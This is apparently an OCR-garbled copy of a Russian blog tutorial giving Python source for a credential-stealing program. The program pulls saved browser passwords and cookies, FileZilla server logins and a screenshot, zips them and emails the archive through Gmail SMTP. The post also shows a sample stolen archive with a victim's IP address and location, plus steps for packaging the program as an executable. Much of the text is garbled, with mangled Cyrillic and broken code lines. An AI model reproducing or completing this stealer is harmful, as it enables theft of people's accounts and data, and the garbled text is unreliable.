url = result[0]

if password !=

textyp += url + " | ' + login + ' | ' + password + '\n'
return textyp
file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+")
file.write(str(Yandexpass()) + '\n")
file.close()
HHBHSHHRRAH AR A GRR ARG R GRS R GRS G RR ARG SRR R R
# OPERA cookies #
HHBHSHHRRAH AR A GRR ARG R GRS R GRS G RR ARG SRR R R
def Opera_c():
textoc ='Cookies Opera:' + '\n'
textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCAI
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2")
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")

for result in cursor.fetchall():
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cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()

name = result[2]

url = result[1]

textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'

return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n")
file.close()
HHBHAHHRRAH AR GRR GGG GRS R AR GRS RAR A R G SRR R R
# FILEZILLA #
HHBHSH AR AR RRR GGG GRS R R H A GR RS GRRR A RRR A G SRR SR
def filezilla():
try:
data = "'

if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True:
root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml"').getroot()

for i in range(len(root[@])):
host = root[@][i][0].text
root[@][i][1].text
user = root[@][i][4].text
password = base64.b64decode(root[@][i][5].text).decode( 'utf-8")
data += 'host: '

port

+ host + "|port: ' + port + '|user:
return data
else:
return 'Not found'
except Exception:

return 'Error'
textfz = filezilla()
textfz += 'Filezilla: ' + '\n' + filezilla() + '\n'
file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+")
file.write(str(filezilla()) + "\n")
file.close()
HUHHSHHHR SRR RUSHHBRAA R BR A A R R BR USRS BR AR GR RSB REERB R ARG R BR GRS GG S S 11
# SCREEN #
HERHSHHHR AR F R RGR ARG ARG SRR RR AR R ARG R R R ARG R RG SRR RS H A1
screen = ImageGrab.grab()
screen.save(os.getenv("APPDATA") + "\\sreenshot.jpg")
HEGHS AR RRAA A GRA R R R G R R G AR R R H A RRRAH R RAR ARG SRR SR
# PACKING TO ZIP #
HUBHS SRR AR BRUSH SR UAA B GRS R R B R USRS GR AR BR A A S GRS B GUEA SRR ER GRS SSRGS S S 11
zname = r'C:\\Users\\"' + getpass.getuser() + "\\AppData\\Local\\Temp\\L0G.zip'
NZ = zipfile.ZipFile(zname, 'w")

NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt"')
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt")

NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt")

NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt")

NZ.write(r'C:\\Users\\'
NZ.write(r'C:\\Users\\'
NZ.write(r'C:\\Users\\'

getpass.getuser()
getpass.getuser()
getpass.getuser()

"\\AppData\\Roaming\\chromium.txt")

+ + o+
+ o+ o+
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NZ.write(r'C:\\Users\\'
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg")

getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt")

+ + o+
+ o+ o+

NZ.close()
HEHAR SR B H RS R SR G B H AR ARG BB AR ARG RGR BB ARG R G R BB GRGRB ARG RGBS RSB AR GRS R A Y
# DOC-HAL ZIP i

HERHSHHRRAR R GRER GGG R R GG ARG R GRR GG R R ARG R RS S R A
doc = "C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LO0G.zip'
HUHHSHHHR SRR RUSHH B RS BR A H R R BR YA BR AR BR ARG REE B G A GG AER GG GRS GG S S 11
# OTMPABKA #
HEBHS R R R RRERRG GRS RRERRRRA ARG R R RERR R RERR R ARG R R RS H S

' 1 Stealler by Andrew_Shipunov 1 '.encode('utf-8")

msgtext = MIMEText(' 1 Stealler by Andrew_Shipunov T '.encode('utf-8'), 'plain', 'utf-8")
msg = MIMEMultipart()

msg[ 'From'] = 'Bawa HoBasa moyta@gmail.com'

msg['To'] = 'nouta kyaa otnpasuTcA'

msg[ 'Subject'] = getpass.getuser() + '-PC'

msg.attach(msgtext)

HHBHEHHRR RS RS REERS R E R E R H R R R R S
# CO3OAHNE BINOXEHWA #
HHBHSHHHRAR A BRASH GRS GG RR R GR AR ARG R BR RS AR RE GG ERH ARG ER A GR SR H RS S 14
part = MIMEBase('application', "zip")

b = open(doc, "rb").read()

bs = encodebytes(b).decode()

part.set_payload(bs)

part.add_header('Content-Transfer-Encoding', 'base64')
part.add_header('Content-Disposition', 'attachment; filename="L0G.zip"")
msg.attach(part)

HHGHAHHRRAH AR GRR ARG R R GG AR R AR GRS RRR ARG RRR AR
# OTMPABKA Bam #

HURHSHHHR AR BRUA AR B RAA GG AH R R B R USRS BR S GRS H SR RS R B G A SRR ARG R YRS SRR S S S 11

s = smtplib.SMTP('smtp.gmail.com', 587)

s.starttls()

s.login('HoBan Bawa nouyta rmaun', 'naponb OT HOBOW MOYTbl rmaun')
s.sendmail('HoBan Bawa nouta rmavn', 'nouta kyaa otnpasuTcA', msg.as_string())
s.quit()

i = input()

Bort uto npwuio.
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AHTHERHpYCEI Gmail BpeMeHHO HEAOCTYNHEI — Npukpennexksie Gainol He NPOBEPEHbl HA BAPYCHI,
NOSTOMY WX GE30NACHOETE HE FAPAHTHRYETCA.

B woG.zp

{5

Bor uto B apxuse.

.. NokKanNEHEIR AncK
| yandex_passwor... 45 45 TewcToBwid gokymeHT 06,12,2019 20:04
= sreenshot.jpg 99 368 99 868 PucyHow JPEG 06.12,2019 20:04
|| opera_pass. txt & 6 TexcToBbIA AokymeHT 06.12,2019 20:04
| opera_cookies. txt 171000 171000 Tewkcroseit gokymedt  06.12,.2019 20:04
| google_pass. txt 368 368 TewcToBbl AokymeHT 06.12,2019 20:04
| google_cookies. txt 171001 171001 TewcToseill gokymeHT  06,12,2013 20:04
| firefox_pass. txt [ 6 TewcTosbil pokymedt  06.12,2019 20:04
|| firefox_cookies. txt 43 43 TewcToBbIiA AoKymeHT 06,12,2019 20:04
_ filezilla. txt 11 11 TewcTosklid AokymeHT  06,12,2019 20:04
| chromium_cookie, .. 49 49 Tewcroseill gokyment  06,12,2019 20:04
| chromiurm. txt 5] 6 TexcToswid QokymesT  06,12,2019 20:04
|| amigo_pass. twt ] 6 TewcTosbil pokymedt  06.12,2019 20:04
|| amigo_cookies. txt 45 46 TewcToBbid gokymeHT 06,12,2019 20:04
| alldata.tet 382 382 TewcToBwili gokymeHT  06,12,2019 20:04
B txt Alldata.

B alldata.bct — BnoknoT

Mafn Mpaeka DopMat Bua  Cnpaeka

Time: Fri Dec 6 20:04:15 2019

KogWpoeka ®C: utf-8

Cpu: Inteléd Family 6 model 23 Stepping 6, GenuineIntel
CUcTema: wWindows 7

IP: 217.118.95.123

ropog: Moscow

Gen_Location:{"ip_address": "217.118.95.123", "city":
"Moscow', "region": "Moscow", "country":

"RU", "latitude": 55.75044861, ”'Ion%'itude": 37.6174943}
Auckw: [TC\NT, DIV, TESWT, TR

Coopka.

OTKPBIB&ETG cmd KoHCo/b U nutiete cd U MYTh K I1allKe e JIeXKUT Balll (baifm C KOJOM, eHTep.

cd 1 myTh K aiiny.

Teneps pyinstaller --onefile Ha3Banue Bartrero ¢aiina.py, eHrep.
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CcbUIKH

m228228 — IluimmTte MHe B BK €CJT UTO-TO He pPaboTaeT, y caMOoro MOCTOSTHHO OIrOKY e3yTXD.

@AndrewJess — WM TyT CIipallidBaiiTe.

Source: https://habr.com/en/sandbox/135410/
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